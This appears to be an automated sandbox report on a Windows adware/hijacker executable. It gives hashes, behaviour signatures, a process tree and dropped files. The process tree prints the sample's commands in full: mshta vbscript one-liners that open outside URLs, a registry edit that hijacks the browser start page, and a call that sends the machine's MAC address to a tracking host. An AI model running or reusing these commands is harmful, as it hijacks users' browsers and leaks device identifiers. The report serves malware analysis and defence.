Overview

overview

10

Static

static

3

7e68b17d4f...19.exe

windows7-x64

10

7e68b17d4f...19.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    138s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-01-2024 15:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    7e68b17d4fa5b2e59f1b6309a6581519.exe

  • Size

    44KB

  • MD5

    7e68b17d4fa5b2e59f1b6309a6581519

  • SHA1

    5d66be6c523ef8eda99d09b0989c8d31732debb9

  • SHA256

    c2573e2c825fcf6c63ccf3db067dce07000c4fdfa507f93365701377b755ad9c

  • SHA512

    d2a125aacc5476fb80bc4c0d189aec5ccadc30c61a39b2a7082c0f786a2de932efd8dc11f394433037043e48c147111e11d5b2f7862c4aeac14217cb0a724a4d

  • SSDEEP

    384:GjiXAA8k9OgEZ6Q/SD/Vc28bkBp1NlEcFh19hJlS5J0f6VA72Y9FSPlHBPXxtpJZ:V9OggI/VEYNlnUXxth

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://adminlzcheng.6600.org/img/tc.htm?34",0)(window.close)

Extracted

Language
hta
Source
URLs
hta.dropper

http://www.27dh.com/?34tc",0)(window.close)

Signatures

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies Internet Explorer settings 1 TTPs 57 IoCs
    adwarespyware
  • Modifies Internet Explorer start page 1 TTPs 1 IoCs
    stealer
  • Modifies registry class 24 IoCs
  • Runs regedit.exe 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\7e68b17d4fa5b2e59f1b6309a6581519.exe
    "C:\Users\Admin\AppData\Local\Temp\7e68b17d4fa5b2e59f1b6309a6581519.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2728
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "C:\WINDOWS\46.vbs"
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:816
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\WINDOWS\46.vbs"
        3⤵
          PID:2408
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\WINDOWS\46.bat
        2⤵
        • Checks computer location settings
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1828
        • C:\Windows\SysWOW64\mshta.exe
          mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.27dh.com/?34tc",0)(window.close)
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2548
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" http://www.27dh.com/?34tc
            4⤵
            • Modifies Internet Explorer settings
            PID:4380
        • C:\Windows\SysWOW64\regedit.exe
          Regedit /s add7.rig
          3⤵
          • Modifies registry class
          • Runs regedit.exe
          PID:316
        • C:\Windows\SysWOW64\attrib.exe
          attrib -r "C:\Users\Admin\í╕┐¬╩╝í╣▓╦╡Ñ\│╠╨≥\╞⌠╢»\*.lnk"
          3⤵
          • Views/modifies file attributes
          PID:3404
        • C:\Windows\SysWOW64\attrib.exe
          attrib -r "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*.lnk"
          3⤵
          • Views/modifies file attributes
          PID:1232
        • C:\Windows\SysWOW64\tasklist.exe
          tasklist /nh
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4756
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Windows\help\rllfdDSDfds7.vbs"
          3⤵
          • Checks computer location settings
          PID:404
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ipconfig /all|findstr /c:"Physical Address"
          3⤵
            PID:1296
          • C:\Windows\SysWOW64\attrib.exe
            attrib -r "C:\Users\Admin\╫└├µ\*.lnk"
            3⤵
            • Views/modifies file attributes
            PID:4100
          • C:\Windows\SysWOW64\attrib.exe
            attrib -r "C:\Users\Admin\í╕┐¬╩╝í╣▓╦╡Ñ\│╠╨≥\*.lnk"
            3⤵
            • Views/modifies file attributes
            PID:3100
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKEY_CLASSES_ROOT\CLSID\{86AEFBE8-763F-0647-899C-A93138888899}" /f
            3⤵
              PID:932
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{86AEFBE8-763F-0647-899C-A93138888899}" /f
              3⤵
                PID:1576
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{86AEFBE8-763F-0647-899C-A93138888899}" /f
                3⤵
                  PID:896
                • C:\Windows\SysWOW64\regedit.exe
                  Regedit /s web.rig
                  3⤵
                  • Modifies registry class
                  • Runs regedit.exe
                  PID:4692
                • C:\Windows\SysWOW64\regini.exe
                  regini C:\Windows\system32\regsets.ini
                  3⤵
                  • Modifies Internet Explorer settings
                  PID:400
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.27dh.com/?10034/" /f
                  3⤵
                  • Modifies Internet Explorer settings
                  • Modifies Internet Explorer start page
                  PID:3936
                • C:\Windows\SysWOW64\reg.exe
                  reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /f
                  3⤵
                    PID:1228
              • C:\Windows\SysWOW64\mshta.exe
                mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://adminlzcheng.6600.org/img/tc.htm?34",0)(window.close)
                1⤵
                • Checks computer location settings
                • Suspicious use of WriteProcessMemory
                PID:2824
                • C:\Program Files\Internet Explorer\iexplore.exe
                  "C:\Program Files\Internet Explorer\iexplore.exe" http://adminlzcheng.6600.org/img/tc.htm?34
                  2⤵
                  • Modifies Internet Explorer settings
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:1324
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:17410 /prefetch:2
                    3⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of SetWindowsHookEx
                    PID:3864
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:17414 /prefetch:2
                    3⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of SetWindowsHookEx
                    PID:1212
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1324 CREDAT:17418 /prefetch:2
                    3⤵
                    • Modifies Internet Explorer settings
                    PID:4044
              • C:\Program Files\Internet Explorer\iexplore.exe
                "C:\Program Files\Internet Explorer\iexplore.exe" http://www.fx0099.cn/tj/tj.asp?mac= CA:15:2A:8D:AB:80&ver=990426&userid=34
                1⤵
                • Modifies Internet Explorer settings
                PID:1104
              • C:\Windows\SysWOW64\findstr.exe
                findstr /c:"Physical Address"
                1⤵
                  PID:4568
                • C:\Windows\SysWOW64\ipconfig.exe
                  ipconfig /all
                  1⤵
                  • Gathers network information
                  PID:4140
                • C:\Windows\servicing\TrustedInstaller.exe
                  C:\Windows\servicing\TrustedInstaller.exe
                  1⤵
                    PID:3100

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\Q15AV1NQ\suggestions[1].en-US
                    Filesize

                    17KB

                    MD5

                    5a34cb996293fde2cb7a4ac89587393a

                    SHA1

                    3c96c993500690d1a77873cd62bc639b3a10653f

                    SHA256

                    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

                    SHA512

                    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\add7.rig
                    Filesize

                    222B

                    MD5

                    7ecf8b9c507fb8900b8b80de2526b326

                    SHA1

                    70eb6d6e4a9400f0641d7bcf9af1efc48538ab71

                    SHA256

                    259e0dbb56eb1db0b606d0a08c28c36f2e542b7c15ed4f7d01f9bc9d4ffaf46f

                    SHA512

                    2bc05755a66ce6465e209af054e34053cc8c2fb9c79364a77ada342b339ab267491a27b225ba5fffdcf7dfb5e136f6d0821ed7dd63b84bead1814d3f492af7bf

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\web.rig
                    Filesize

                    1KB

                    MD5

                    efc62c2835560b596ec55d430ef6b6be

                    SHA1

                    4c4dfbf3781d97d1703d6f230fd5d264c5abdbd9

                    SHA256

                    33c17f0fffc2a14fab93e5ba3b2789506de8e9bac3b07f0ef6daeaca41b3043e

                    SHA512

                    04f42e962745ef0d71c039e18039d6d11e2a5f1aab21bc7312f11bc0020dde28146a63692bdf9695a097fcea58262004e6ff61040749bac111889653b48f00b9

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\web.rig
                    Filesize

                    2KB

                    MD5

                    47e2902e2b92f442e23446735294778f

                    SHA1

                    983abc535f25689c716dc5969c8786f84bc18560

                    SHA256

                    5ac48ac606ef23eb0ddc99b60af1245d6578805374d9a7e2367a75efcb56630a

                    SHA512

                    9e28efb398c581b996790408376e6471c7a2de50b119a55300b9baace29b67ce8d558b7b9f1aec8535103a6cb4c92258b57898f42d8b852981386e9ffec81e46

                    Download Submit

                  • C:\Users\Admin\Favorites\27═°╓╖╓«╝╥ ╔╧═°╛═╔╧27═°╓╖╓«╝╥.url
                    Filesize

                    132B

                    MD5

                    7962c7037a1671630f3006e3fbe2e909

                    SHA1

                    7808c7f7d9c18854521728d1efce405f1c527d3c

                    SHA256

                    dd22a6095d32a6c0812f51532ba8fbe5d90910c0d0276c169a48c201440e5d93

                    SHA512

                    53abb4a38e7cec72012d7f30feabb571ba57c45f1ec8ac0570e12b29af3b20ef0f6082ca08608850a81de090236974db2ab874ea69e95d32c5140501c22bb028

                    Download Submit

                  • C:\WINDOWS\46.bat
                    Filesize

                    7KB

                    MD5

                    dfc298564145bc64726a25a894859180

                    SHA1

                    4db1929ada987e9c898b264f2521f26d346f6b03

                    SHA256

                    2cd26f4be78e4ed251494f870cdee82a020e4512505e8a21634c9db435801942

                    SHA512

                    1a2a07a6373c39e08f4b3d25f846e98babe6a0f461ad97534f3e7cf48e54609159c533f97bc3e3dc7f020b8301b6040088ea7d711d6523e729d63eb451500bf2

                    Download Submit

                  • C:\WINDOWS\46.vbs
                    Filesize

                    3KB

                    MD5

                    2de79c40992d47951cefa20f54d67b64

                    SHA1

                    7f27c2c3b69a3688fc0c8a84aefb2f4ad0c3e6f0

                    SHA256

                    7f09cdfa905b7810eea79099d1930011fa058511fec4ee0edfa946b86aec6dbf

                    SHA512

                    f296e76a379cb3f67aae72c59fab544b608d3cae1c7f66a57256cc2e70c94d4364f3c1e7682d26cc815fd7a1b1c717250111eba1a716dcb2ad73862b7e0e918a

                    Download Submit

                  • C:\Windows\SysWOW64\regsets.ini
                    Filesize

                    66B

                    MD5

                    ba006d636a4d59398063297485db48cc

                    SHA1

                    6f55152671b5cfcc6918f58063be556544e3df62

                    SHA256

                    9035eddc448f3da18990c79b1f4b60a2953391df31e43ab8195271d48bd4d14f

                    SHA512

                    4f3dcbfe269832d370d3b8749006eedba30986cf028217a0a8b6e5c2e1d29123800ae8b2e9614a5ea675634e04a61a4c506b4aa5f061ea2b2036b7ef0ab9073a

                    Download Submit